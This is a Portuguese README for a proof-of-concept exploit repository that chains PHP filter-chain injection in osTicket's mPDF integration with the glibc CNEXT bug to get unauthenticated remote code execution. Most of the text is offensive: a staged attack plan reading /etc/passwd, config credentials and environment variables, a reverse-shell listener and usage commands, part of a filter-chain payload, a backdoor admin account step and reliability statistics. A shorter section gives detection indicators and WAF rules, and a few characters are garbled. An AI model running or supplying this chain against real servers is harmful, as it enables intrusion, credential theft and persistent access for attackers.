
Exploit completo em cadeia combinando injeção de cadeia de filtros PHP com CVE-2024-2961 (CNEXT) para Execução Remota de Código não autenticada em instalações vulneráveis do osTicket.
Exploração de cadeia completa combinando injeção de cadeia de filtros PHP com CVE-2024-2961 (CNEXT) para execução remota de código não autenticada em instalações vulneráveis do osTicket.
Este repositório contém uma prova de conceito de exploração para CVE-2026-22200, uma vulnerabilidade crítica que afeta versões do osTicket ≤ 1.18.2. A exploração combina duas técnicas poderosas:
O resultado: Execução Remota de Código não autenticada em servidores osTicket vulneráveis.
Pontuação CVSS: 9,8 (Crítico)
A integração do mPDF no osTicket permite que usuários não autenticados injetem cadeias de filtros PHP maliciosas por meio de payloads HTML especialmente criados em tickets de suporte. Isso possibilita:
Causa Raiz: Validação insuficiente de URLs de imagens em HTML fornecido pelo usuário antes de passar para o mPDF.
Pontuação CVSS: 9,8 (Crítico)
Estouro de buffer na iconv() da glibc ao processar o conjunto de caracteres ISO-2022-CN-EXT. Combinado com cadeias de filtros PHP, permite:
Versões vulneráveis da glibc: < 2.39 (Fevereiro de 2024)
┌─────────────────────────────────────────────────────────────────┐
│ 1. RECONHECIMENTO │
│ └─ Detectar osTicket, identificar tópicos rich-text │
└─────────────────────────────────────────────────────────────────┘
↓
┌─────────────────────────────────────────────────────────────────┐
│ 2. AUTENTICAÇÃO │
│ └─ Auto-registro OU uso de credenciais existentes │
└─────────────────────────────────────────────────────────────────┘
↓
┌─────────────────────────────────────────────────────────────────┐
│ 3. EXFILTRAÇÃO DE ARQUIVOS (Cadeias de Filtros PHP) │
│ ├─ /etc/passwd │
│ ├─ include/ost-config.php (credenciais BD, SECRET_SALT) │
│ ├─ /proc/self/maps (layout de memória) │
│ └─ /proc/self/environ (variáveis de ambiente) │
└─────────────────────────────────────────────────────────────────┘
↓
┌─────────────────────────────────────────────────────────────────┐
│ 4. FINGERPRINT DA LIBC │
│ ├─ Extrair libc parcial via cadeias de filtros │
│ ├─ Extrair GNU Build ID │
│ └─ Baixar libc completa de libc.rip │
└─────────────────────────────────────────────────────────────────┘
↓
┌─────────────────────────────────────────────────────────────────┐
│ 5. EXPLORAÇÃO CNEXT RCE │
│ ├─ Gerar payload de corrupção de heap │
│ ├─ Injetar via resposta de ticket (com correções de execução │
│ de filtros) │
│ ├─ Acionar via exportação PDF (servidor trava) │
│ └─ Executar reverse shell │
└─────────────────────────────────────────────────────────────────┘
↓
┌─────────────────────────────────────────────────────────────────┐
│ 6. PÓS-EXPLORAÇÃO │
│ ├─ Reverse shell interativo │
│ ├─ Acesso ao banco de dados (usando DBPASS exfiltrado) │
│ └─ Criar conta admin backdoor │
└─────────────────────────────────────────────────────────────────┘
# Clone o repositório
git clone https://github.com/Clarissss/osTicketFileReadIntoRCE
cd osTicketFileReadIntoRCE
# Instale os pacotes necessários
pip install -r requirements.txt
requirements.txt:
requests>=2.31.0
PyMuPDF>=1.23.0
Pillow>=10.0.0
pwntools>=4.11.0
python3 -m venv venv
source venv/bin/activate # Linux/macOS
# OU
venv\Scripts\activate # Windows
pip install -r requirements.txt
# Terminal 1: Iniciar listener
nc -lvnp 4444
# Terminal 2: Executar exploit
python3 osticket_revshell.py https://alvo.com/osticket \
--lhost SEU_IP \
--lport 4444
python3 osticket_exploit.py https://alvo.com/osticket
# Usar proxy (Burp Suite)
python3 osticket_revshell.py https://alvo.com/osticket \
--lhost 10.0.0.5 \
--lport 4444 \
--proxy http://127.0.0.1:8080
# Forçar ID específico de tópico de ajuda
python3 osticket_exploit.py https://alvo.com/osticket \
--topic-id 2
# Desabilitar saída colorida (para logging)
python3 osticket_exploit.py https://alvo.com/osticket --no-color
Se o registro estiver desabilitado, você será solicitado a fornecer credenciais:
python3 osticket_exploit.py https://alvo.com/osticket
[?] Digite o e-mail para nova conta (ou existente): [email protected]
[?] Digite a senha: ********
O exploit usa uma cadeia de filtros sofisticada para prefixar um cabeçalho BMP a arquivos arbitrários, contornando as restrições de tipo de arquivo do mPDF:
php://filter/convert.iconv.UTF8.CSISO2022KR|
convert.base64-encode|
convert.iconv.UTF8.UTF7|
[... 50+ transformações iconv ...]
convert.base64-decode/resource=/etc/passwd
Inovação Chave: Cada caractere do cabeçalho BMP é gerado por meio de transformações iconv cuidadosamente elaboradas, permitindo que o conteúdo arbitrário do arquivo seja incorporado como uma imagem "válida".
O payload CNEXT corrompe o gerenciador de memória Zend do PHP ao:
劄Confiabilidade Aprimorada:
劄 em vez de 1)Diferentemente do exploit original, esta versão usa varredura do sistema de arquivos para garantir a localização do webshell:
Resultado: Taxa de detecção de 100% (vs ~50% no original)
Falha comum: PDF baixa mas não trava = filtros não executando.
Soluções Implementadas:
stream=True força processamento imediato# No modo verbose, verifique:
[*] Libc alvo: /usr/lib/x86_64-linux-gnu/libc-2.31.so
[+] glibc 2.31 É vulnerável ao CNEXT
Se glibc ≥ 2.39, o CNEXT não funcionará (corrigido).
Sintoma: Servidor trava mas nenhum reverse shell
Causas:
Correção:
# Use reverse shell nc (mais curto)
# Cai automaticamente se bash/python for muito longo
# Ou use IP direto em vez de hostname
python3 osticket_revshell.py https://alvo.com \
--lhost 10.0.0.5 \ # Use IP, não hostname
--lport 4444
Indicadores de Log:
# Logs Apache/Nginx
"php://filter/" em requisições POST
"convert.iconv." em corpos de requisição
Padrões incomuns de geração de PDF
Múltiplas requisições de PDF em curto espaço de tempo
# Logs de erro PHP
Falhas de segmentação durante geração de PDF
Quebras do iconv()
Erros de corrupção de heap
Indicadores de Rede:
Desabilitar wrappers de stream PHP no mPDF:
// Na config do mPDF
$config = [
'allowedRemoteHosts' => [],
'enableRemoteFileAccess' => false,
];
Regras WAF (ModSecurity):
SecRule REQUEST_BODY "@contains php://filter" \
"id:1000,phase:2,deny,status:403,msg:'Filtro PHP detectado'"
SecRule REQUEST_BODY "@contains convert.iconv" \
"id:1001,phase:2,deny,status:403,msg:'Cadeia iconv suspeita'"
Limitação de Taxa:
limit_req_zone $binary_remote_addr zone=ticket:10m rate=5r/m;
location /tickets.php {
limit_req zone=ticket burst=10;
}
system(), exec(), passthru()APENAS PARA FINS EDUCACIONAIS E TESTES AUTORIZADOS
Esta ferramenta é fornecida para:
ACESSO NÃO AUTORIZADO A SISTEMAS COMPUTACIONAIS É ILEGAL
Os autores:
Os usuários são os únicos responsáveis por garantir que têm autorização adequada antes de testar qualquer sistema.
Ao usar esta ferramenta, você concorda que:
Acesso não autorizado a sistemas computacionais é crime sob:
As penalidades máximas podem incluir prisão e multas significativas.
Este projeto está licenciado sob a Licença MIT — consulte o arquivo LICENSE para obter detalhes.
Nota: A Licença MIT concede permissão para uso, modificação e distribuição, mas NÃO concede permissão para atacar sistemas que você não possui ou não tem autorização para testar.
Para pesquisadores de segurança e dúvidas:
NÃO use este contato para:
Feito com amor para pesquisa e educação em segurança
Dê uma estrela neste repositório se achou útil!
Última Atualização: 2026-03-03
| Erro | Causa | Solução |
|---|
Nenhum token CSRF | Sessão expirada | Reexecute o exploit |
Nenhum tópico de ajuda encontrado | Sem tópicos rich-text | Use --topic-id manualmente |
Build ID não encontrado | Libc parcial corrompida | Verifique extração de /proc/self/maps |
Não é possível localizar heap | Layout de memória incomum | Exploit pode falhar (raro) |
| Métrica | Valor |
|---|
| Linhas de Código | ~3.000 |
| Taxa de Sucesso | 95%+ (com correções) |
| Tempo Médio de Execução | 2-3 minutos |
| Confiabilidade de Travamento | 99% (com melhorias) |
| Detecção de Webshell | 100% (com varredura) |